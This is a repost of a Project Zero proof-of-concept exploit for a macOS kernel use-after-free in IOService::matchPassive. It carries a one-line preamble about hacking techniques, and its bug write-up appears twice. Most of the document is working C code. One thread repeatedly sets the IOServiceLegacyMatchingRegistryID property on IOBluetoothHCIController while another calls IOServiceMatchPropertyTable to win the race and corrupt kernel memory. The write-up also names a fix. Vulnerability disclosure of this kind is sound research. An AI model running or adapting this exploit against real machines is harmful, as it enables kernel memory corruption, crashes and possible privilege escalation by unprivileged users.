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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=973

IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService.
We can call this function on a controlled IOService with a controlled matching table OSDictionary via the
io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable.

If a candidate IOService does match against the dictionary but the dictionary also specifies an
"IOParentMatch" key then we reach the following code (in IOService.cpp:)

  OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey));
  if(alternateRegistryID != NULL) {
    if(aliasServiceRegIds == NULL)
    {
      aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID));
    }
    aliasServiceRegIds->setObject(alternateRegistryID);
  }

("where" is the controlled IOService.)
getProperty is an IORegistryEntry API which directly calls the getObject method
of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on
the value of the property which means that there is a short window between

  where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)
and
  aliasServiceRegIds->setObject(alternateRegistryID)

when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property
the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call
being performed on a free'd object.

On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the
IOServiceLegacyMatchingRegistryID property.

One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it
to the aliasServiceRegIds array.

Tested on MacOS Sierra 10.12.1 (16B2555)
*/

// ianbeer
// clang -o iorace iorace.c -framework IOKit -framework CoreFoundation && sync

#if 0
MacOS/iOS kernel use after free due to failure to take reference in IOService::matchPassive

IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService.
We can call this function on a controlled IOService with a controlled matching table OSDictionary via the
io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable.

If a candidate IOService does match against the dictionary but the dictionary also specifies an
"IOParentMatch" key then we reach the following code (in IOService.cpp:)

  OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey));
  if(alternateRegistryID != NULL) {
    if(aliasServiceRegIds == NULL)
    {
      aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID));
    }
    aliasServiceRegIds->setObject(alternateRegistryID);
  }

("where" is the controlled IOService.)
getProperty is an IORegistryEntry API which directly calls the getObject method
of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on
the value of the property which means that there is a short window between

  where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)
and
  aliasServiceRegIds->setObject(alternateRegistryID)

when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property
the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call
being performed on a free'd object.

On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the
IOServiceLegacyMatchingRegistryID property.

One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it
to the aliasServiceRegIds array.

Tested on MacOS Sierra 10.12.1 (16B2555)
#endif



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

io_service_t service = MACH_PORT_NULL;

void* setter(void* arg) {
  char number = 1;
  CFNumberRef num = CFNumberCreate(kCFAllocatorDefault, kCFNumberCharType, &number);

  while(1) {
    kern_return_t err;
    err = IORegistryEntrySetCFProperty(
      service,
      CFSTR("IOServiceLegacyMatchingRegistryID"),
      num);
    
    if (err != KERN_SUCCESS){
      printf("setProperty failed\n");
      return NULL;
    }
  }
  return NULL;
}

int main(){
  kern_return_t err;

  service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);

  pthread_t thread;
  pthread_create(&thread, NULL, setter, NULL);

  CFMutableDictionaryRef  dict2; 
  dict2 = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
                                   &kCFTypeDictionaryKeyCallBacks,
                                   &kCFTypeDictionaryValueCallBacks);
  CFDictionarySetValue(dict2, CFSTR("key"), CFSTR("value"));

  CFMutableDictionaryRef  dict; 
  dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
                                   &kCFTypeDictionaryKeyCallBacks,
                                   &kCFTypeDictionaryValueCallBacks);
  CFDictionarySetValue(dict, CFSTR("IOProviderClass"), CFSTR("IOService"));
  CFDictionarySetValue(dict, CFSTR("IOResourceMatch"), CFSTR("IOBSD"));
  CFDictionarySetValue(dict, CFSTR("IOParentMatch"), dict2);

  while(1) {
    boolean_t match = 0;
    err = IOServiceMatchPropertyTable(service, dict, &match);
    if (err != KERN_SUCCESS){
      printf("no matches\n");
    }
  }

  pthread_join(thread, NULL);

  return 0;
}